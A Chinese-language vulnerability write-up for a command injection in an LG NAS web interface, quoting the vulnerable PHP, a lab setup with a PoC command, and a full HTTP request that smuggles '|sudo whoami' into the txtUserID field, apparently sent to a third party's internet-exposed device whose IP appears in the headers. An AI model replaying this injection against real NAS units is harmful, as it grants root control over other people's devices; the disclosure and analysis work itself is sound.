Skip to content

CNVD-2026-20654: LG NAS 远程命令注入漏洞分析

BX

CNVD-2026-20654: LG NAS 命令注入漏洞

漏洞情况

漏洞代码位置

第 28 行 (share_set_user_info.php):

$userpasswd = trim(shell_exec("sudo nas-common md5$userpasswd"));

漏洞代码第28行

第 78 行 (share_set_user_info.php):

$check = trim(exec("sudo nas-share check_user$userID"));

漏洞代码第78行

漏洞成因

简单明了,原因就是:

  1. 直接拼接用户输入到 shell 命令
  2. 没有过滤或转义特殊字符
  3. 使用 sudo 执行,获得 root 权限
  4. shell_exec() 和 exec() 直接执行系统命令

完整代码

本地复现以及固件寻找

这里采用 2569 版本

固件寻找,在这里面找到 firmware_2569_web.zip 这个版本

https://www.lg.com/us/support/product/lg-N2R1DD1

固件下载页面

本地环境搭建

搭建了一个近似的环境:

https://github.com/bx33661/CNVD-2026-20654-lg-nas-command-injection

简单命令:

# 克隆仓库
git clone https://github.com/bx33661/CNVD-2026-20654-lg-nas-command-injection.git
cd CNVD-2026-20654-lg-nas-command-injection

# 启动漏洞环境
cd environment
docker compose up -d

# 运行 PoC(自动登录 + 命令执行)
cd ..
python3 poc.py \
  --target http://127.0.0.1:8000 \
  --username admin \
  --password admin \
  --command "id"

本地测试结果

具体搭建起来情况:

本地环境搭建

使用 admin/admin 登录进来:

登录界面

真实设备挖掘

下面在一台真实设备上复现。前提是已经登录后台、拿到了合法的 PHPSESSID

POST /en/php/share_set_user_info.php HTTP/1.1
Host: xxxx:9090
Content-Length: 35
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: http://91.171.64.154:9090
Referer: http://91.171.64.154:9090/fr/system/system.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lgnas_language=fr; lgnas_web_menu=1; PHPSESSID=jhhc3np2bbgc8rmb3j1jrbgn66
Connection: close

txtMode=add&txtUserID=|sudo+whoami+>+../../zbx.txt

真实设备利用

验证命令执行

访问登录页面:

验证页面

查看命令执行结果:

命令执行结果

成功写入并执行命令!

影响范围

除了对应远程版本,我们测试了 5 个固件版本,时间跨度 10 个月(2009-12 到 2010-10):

版本发布日期MD5文件写入状态
24072009-12-293e01b8e3b915d95f72996e32ad78357e存在漏洞
24502010-02-113e01b8e3b915d95f72996e32ad78357e存在漏洞
2504未知3e01b8e3b915d95f72996e32ad78357e存在漏洞
25572010-09-123e01b8e3b915d95f72996e32ad78357e存在漏洞
25692010-10-283e01b8e3b915d95f72996e32ad78357e存在漏洞

所有测试版本均存在该漏洞,影响范围广泛。

总结

CNVD-2026-20654 是一个典型的命令注入漏洞,通过未过滤的用户输入直接拼接到 shell 命令中,结合 sudo 权限提升,攻击者可以获得设备的完全控制权。该漏洞影响多个固件版本,建议受影响用户尽快升级固件并加强访问控制。

编辑这篇文章

评论区

使用 GitHub Discussions 驱动,欢迎留言交流。

下一篇
oh-my-vul 1.0:证据优先的漏洞研究工作台